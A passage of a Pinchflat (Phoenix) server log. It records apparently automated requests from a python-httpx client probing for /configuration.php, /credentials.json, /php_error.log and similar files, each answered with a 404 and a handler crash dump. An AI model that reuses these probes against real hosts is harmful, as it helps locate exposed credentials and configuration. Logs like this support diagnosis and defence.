:http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, r (truncated) 14:07:49.620 [info] GET /php_error.log 14:07:49.622 [debug] QUERY OK source="settings" db=0.7ms queue=0.1ms idle=1423.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:07:49.623 [debug] QUERY OK source="settings" db=0.4ms queue=0.5ms idle=1423.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:07:49.623 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 14:07:49.624 [error] #PID<0.12394.0> running PinchflatWeb.Endpoint (connection #PID<0.12290.0>, stream id 98) terminated Server: pinchflat-server.tail1d371e.ts.net:80 (http) Request: GET /php_error.log ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /php_error (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/php_error.log", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 98, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat-server.tail1d371e.ts.net", method: "GET", owner: #PID<0.12394.0>, params: %{}, path_info: ["php_error"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat-server.tail1d371e.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 17, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "pinchflat-server.tail1d371e.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "python-httpx/0.22.0"}, {"x-forwarded-for", "44.234.23.102"}, {"x-forwarded-host", "pinchflat-server.tail1d371e.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/php_error.log", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIljzwtubYpsZ6gAAKHB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/php_error.log", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 98, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /php_error (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/php_error.log", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 98, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat-server.tail1d371e.ts.net", method: "GET", owner: #PID<0.12394.0>, params: %{}, path_info: ["php_error"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat-server.tail1d371e.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 17, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "pinchflat-server.tail1d371e.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "python-httpx/0.22.0"}, {"x-forwarded-for", "44.234.23.102"}, {"x-forwarded-host", "pinchflat-server.tail1d371e.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/php_error.log", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIljzwtubYpsZ6gAAKHB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: Pinchflat (truncated) 14:07:50.094 [info] GET /configuration.php 14:07:50.095 [debug] QUERY OK source="settings" db=0.2ms idle=1007.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:07:50.096 [debug] QUERY OK source="settings" db=0.3ms idle=1007.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:07:50.096 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 14:07:50.098 [error] #PID<0.12395.0> running PinchflatWeb.Endpoint (connection #PID<0.12290.0>, stream id 99) terminated Server: pinchflat-server.tail1d371e.ts.net:80 (http) Request: GET /configuration.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /configuration (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/configuration.php", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 99, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat-server.tail1d371e.ts.net", method: "GET", owner: #PID<0.12395.0>, params: %{}, path_info: ["configuration"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat-server.tail1d371e.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 17, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "pinchflat-server.tail1d371e.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "python-httpx/0.22.0"}, {"x-forwarded-for", "44.234.23.102"}, {"x-forwarded-host", "pinchflat-server.tail1d371e.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/configuration.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIljzyeqK2H1cQEAAKHR"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/configuration.php", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 99, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /configuration (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/configuration.php", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 99, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat-server.tail1d371e.ts.net", method: "GET", owner: #PID<0.12395.0>, params: %{}, path_info: ["configuration"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat-server.tail1d371e.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 17, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "pinchflat-server.tail1d371e.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "python-httpx/0.22.0"}, {"x-forwarded-for", "44.234.23.102"}, {"x-forwarded-host", "pinchflat-server.tail1d371e.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/configuration.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIljzyeqK2H1cQEAAKHR"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: (truncated) 14:07:50.651 [info] GET /.well-known/security.txt 14:07:50.653 [debug] QUERY OK source="settings" db=1.0ms queue=0.1ms idle=1030.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:07:50.655 [debug] QUERY OK source="settings" db=0.7ms queue=0.4ms idle=1030.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:07:50.655 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 14:07:50.656 [error] #PID<0.12396.0> running PinchflatWeb.Endpoint (connection #PID<0.12290.0>, stream id 100) terminated Server: pinchflat-server.tail1d371e.ts.net:80 (http) Request: GET /.well-known/security.txt ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.well-known/security (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.well-known/security.txt", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 100, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat-server.tail1d371e.ts.net", method: "GET", owner: #PID<0.12396.0>, params: %{}, path_info: [".well-known", "security"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat-server.tail1d371e.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 17, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "pinchflat-server.tail1d371e.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "python-httpx/0.22.0"}, {"x-forwarded-for", "44.234.23.102"}, {"x-forwarded-host", "pinchflat-server.tail1d371e.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.well-known/security.txt", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIljz0jiAvuCpyoAAKHh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.well-known/security.txt", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 100, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.well-known/security (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.well-known/security.txt", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 100, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat-server.tail1d371e.ts.net", method: "GET", owner: #PID<0.12396.0>, params: %{}, path_info: [".well-known", "security"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat-server.tail1d371e.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 17, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "pinchflat-server.tail1d371e.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "python-httpx/0.22.0"}, {"x-forwarded-for", "44.234.23.102"}, {"x-forwarded-host", "pinchflat-server.tail1d371e.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.well-known/security.txt", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIljz0jiAvuCpyoAAKHh"} ], scheme: :http, script_name: (truncated) 14:07:51.574 [info] GET /credentials.json 14:07:51.575 [debug] QUERY OK source="settings" db=0.9ms queue=0.1ms idle=921.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:07:51.576 [debug] QUERY OK source="settings" db=0.7ms idle=920.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:07:51.577 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 14:07:51.577 [error] #PID<0.12397.0> running PinchflatWeb.Endpoint (connection #PID<0.12290.0>, stream id 101) terminated Server: pinchflat-server.tail1d371e.ts.net:80 (http) Request: GET /credentials.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /credentials (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/credentials.json", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 101, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat-server.tail1d371e.ts.net", method: "GET", owner: #PID<0.12397.0>, params: %{}, path_info: ["credentials"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat-server.tail1d371e.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 17, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "pinchflat-server.tail1d371e.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "python-httpx/0.22.0"}, {"x-forwarded-for", "44.234.23.102"}, {"x-forwarded-host", "pinchflat-server.tail1d371e.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/credentials.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIljz3_Z6aGcRukAAKHx"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/credentials.json", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 101, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /credentials (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.12290.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/credentials.json", host: "pinchflat-server.tail1d371e.ts.net", peer: {{172, 17, 0, 1}, 54540}, bindings: %{}, sock: {{172, 17, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "pinchflat-server.tail1d371e.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "python-httpx/0.22.0", "x-forwarded-for" => "44.234.23.102", "x-forwarded-host" => "pinchflat-server.tail1d371e.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 101, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat-server.tail1d371e.ts.net", method: "GET", owner: #PID<0.12397.0>, params: %{}, path_info: ["credentials"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat-server.tail1d371e.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 17, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "pinchflat-server.tail1d371e.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "python-httpx/0.22.0"}, {"x-forwarded-for", "44.234.23.102"}, {"x-forwarded-host", "pinchflat-server.tail1d371e.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/credentials.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIljz3_Z6aGcRukAAKHx"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil (truncated) 14:07:52.228 [info] GET /.dockerignore 